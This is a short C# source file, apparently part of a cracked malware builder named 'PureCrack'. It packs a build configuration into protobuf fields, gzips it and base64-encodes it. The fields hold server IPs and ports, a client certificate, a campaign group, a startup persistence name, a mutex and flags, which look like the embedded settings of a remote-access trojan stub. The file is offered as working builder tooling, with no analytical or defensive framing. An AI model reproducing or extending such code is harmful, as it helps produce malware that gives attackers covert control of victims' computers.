using System;
using System.Collections.Generic;
using PureCrack.Crypto;
using PureCrack.Wire;

namespace PureCrack.Build;

public static class InnerProto
{
	public const string Placeholder = "H4sIAAAAAAAACgMAAAAAAAAAAAA=";

	public static byte[] EncodeGClass3(BuildConfig cfg)
	{
		List<byte[]> list = new List<byte[]>();
		foreach (string ip in cfg.Ips)
		{
			list.Add(ProtoNet.FString(1, ip));
		}
		foreach (int port in cfg.Ports)
		{
			list.Add(ProtoNet.FInt(2, port));
		}
		if (!string.IsNullOrEmpty(cfg.CertPfxBase64))
		{
			list.Add(ProtoNet.FString(3, cfg.CertPfxBase64));
		}
		if (!string.IsNullOrEmpty(cfg.Group))
		{
			list.Add(ProtoNet.FString(4, cfg.Group));
		}
		list.Add(ProtoNet.FBool(5, cfg.B0));
		list.Add(ProtoNet.FBool(6, cfg.B1));
		if (!string.IsNullOrEmpty(cfg.StartupName))
		{
			list.Add(ProtoNet.FString(7, cfg.StartupName));
		}
		if (!string.IsNullOrEmpty(cfg.StartupEnv))
		{
			list.Add(ProtoNet.FString(8, cfg.StartupEnv));
		}
		if (!string.IsNullOrEmpty(cfg.Mutex))
		{
			list.Add(ProtoNet.FString(9, cfg.Mutex));
		}
		list.Add(ProtoNet.FBool(10, cfg.B2));
		int num = 0;
		foreach (byte[] item in list)
		{
			num += item.Length;
		}
		byte[] array = new byte[num];
		int num2 = 0;
		foreach (byte[] item2 in list)
		{
			Buffer.BlockCopy(item2, 0, array, num2, item2.Length);
			num2 += item2.Length;
		}
		return array;
	}

	public static byte[] WrapAsGClass2(byte[] gclass3Body)
	{
		return ProtoNet.FSub(38, gclass3Body);
	}

	public static string EncodeAndPackage(BuildConfig cfg)
	{
		return Convert.ToBase64String(Symmetric.Gzip(WrapAsGClass2(EncodeGClass3(cfg))));
	}
}